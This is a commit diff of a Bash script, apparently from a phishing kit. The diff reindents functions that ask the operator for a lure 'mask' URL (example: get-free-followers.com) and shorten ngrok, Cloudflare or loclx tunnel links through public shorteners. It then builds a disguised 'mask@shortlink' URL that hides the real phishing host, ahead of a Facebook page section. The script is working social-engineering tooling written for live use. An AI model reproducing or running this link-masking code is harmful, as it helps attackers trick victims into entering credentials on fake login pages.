@@ -590,62 +590,62 @@ tunnel_menu() {
590590
591591# # Custom Mask URL
592592custom_mask () {
593- { sleep .5; clear; banner_small; echo ; }
594- read -n1 -p " ${RED} [${WHITE} ?${RED} ]${ORANGE} Do you want to change Mask URL? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ] :${ORANGE} " mask_op
595- echo
596- if [[ ${mask_op,,} == " y" ]]; then
597- echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Enter your custom URL below ${CYAN} (${ORANGE} Example: https://get-free-followers.com${CYAN} )\n"
598- read -e -p " ${WHITE} ==> ${ORANGE} " -i " https://" mask_url # initial text requires Bash 4+
599- if [[ ${mask_url//:* } =~ (www| https? ) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex
600- mask=$mask_url
601- echo -e " \n${RED} [${WHITE} -${RED} ]${CYAN} Using custom Masked Url :${GREEN} $mask "
602- else
603- echo -e " \n${RED} [${WHITE} !${RED} ]${ORANGE} Invalid url type..Using the Default one.."
604- fi
605- fi
593+ { sleep .5; clear; banner_small; echo ; }
594+ read -n1 -p " ${RED} [${WHITE} ?${RED} ]${ORANGE} Do you want to change Mask URL? ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ] :${ORANGE} " mask_op
595+ echo
596+ if [[ ${mask_op,,} == " y" ]]; then
597+ echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Enter your custom URL below ${CYAN} (${ORANGE} Example: https://get-free-followers.com${CYAN} )\n"
598+ read -e -p " ${WHITE} ==> ${ORANGE} " -i " https://" mask_url # initial text requires Bash 4+
599+ if [[ ${mask_url//:* } =~ (www| https? ) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex
600+ mask=$mask_url
601+ echo -e " \n${RED} [${WHITE} -${RED} ]${CYAN} Using custom Masked Url :${GREEN} $mask "
602+ else
603+ echo -e " \n${RED} [${WHITE} !${RED} ]${ORANGE} Invalid url type..Using the Default one.."
604+ fi
605+ fi
606606}
607607
608608# # URL Shortner
609609site_stat () { [[ ${1} != " " ]] && curl -s -o " /dev/null" -w " %{http_code}" " ${1} https://github.com" ; }
610610
611611shorten () {
612- short=$( curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 " $1$2 " )
613- if [[ " $1 " == * " shrtco.de" * ]]; then
614- processed_url=$( echo ${short} | sed ' s/\\//g' | grep -o ' "short_link2":"[a-zA-Z0-9./-]*' | awk -F\" ' {print $4}' )
615- else
616- # processed_url=$(echo "$short" | awk -F// '{print $NF}')
617- processed_url=${short# http*// }
618- fi
612+ short=$( curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 " $1$2 " )
613+ if [[ " $1 " == * " shrtco.de" * ]]; then
614+ processed_url=$( echo ${short} | sed ' s/\\//g' | grep -o ' "short_link2":"[a-zA-Z0-9./-]*' | awk -F\" ' {print $4}' )
615+ else
616+ # processed_url=$(echo "$short" | awk -F// '{print $NF}')
617+ processed_url=${short# http*// }
618+ fi
619619}
620620
621621custom_url () {
622- url=${1# http*// }
623- isgd=" https://is.gd/create.php?format=simple&url="
624- shortcode=" https://api.shrtco.de/v2/shorten?url="
625- tinyurl=" https://tinyurl.com/api-create.php?url="
622+ url=${1# http*// }
623+ isgd=" https://is.gd/create.php?format=simple&url="
624+ shortcode=" https://api.shrtco.de/v2/shorten?url="
625+ tinyurl=" https://tinyurl.com/api-create.php?url="
626626
627627 { custom_mask; sleep 1; clear; banner_small; }
628- if [[ ${url} =~ [-a-zA-Z0-9.]* (ngrok.io| trycloudflare.com| loclx.io) ]]; then
629- if [[ $( site_stat $isgd ) == 2* ]]; then
630- shorten $isgd " $url "
631- elif [[ $( site_stat $shortcode ) == 2* ]]; then
632- shorten $shortcode " $url "
633- else
634- shorten $tinyurl " $url "
635- fi
636-
637- url=" https://$url "
638- masked_url=" $mask @$processed_url "
639- processed_url=" https://$processed_url "
640- else
641- # echo "[!] No url provided / Regex Not Matched"
642- url=" Unable to generate links. Try after turning on hotspot"
643- processed_url=" Unable to Short URL"
644- fi
628+ if [[ ${url} =~ [-a-zA-Z0-9.]* (ngrok.io| trycloudflare.com| loclx.io) ]]; then
629+ if [[ $( site_stat $isgd ) == 2* ]]; then
630+ shorten $isgd " $url "
631+ elif [[ $( site_stat $shortcode ) == 2* ]]; then
632+ shorten $shortcode " $url "
633+ else
634+ shorten $tinyurl " $url "
635+ fi
636+
637+ url=" https://$url "
638+ masked_url=" $mask @$processed_url "
639+ processed_url=" https://$processed_url "
640+ else
641+ # echo "[!] No url provided / Regex Not Matched"
642+ url=" Unable to generate links. Try after turning on hotspot"
643+ processed_url=" Unable to Short URL"
644+ fi
645645
646646 echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 1 : ${GREEN} $url "
647647 echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 2 : ${ORANGE} $processed_url "
648- [[ $processed_url != * " Unable" * ]] && echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 3 : ${ORANGE} $masked_url "
648+ [[ $processed_url != * " Unable" * ]] && echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 3 : ${ORANGE} $masked_url "
649649}
650650
651651# # Facebook
0 commit comments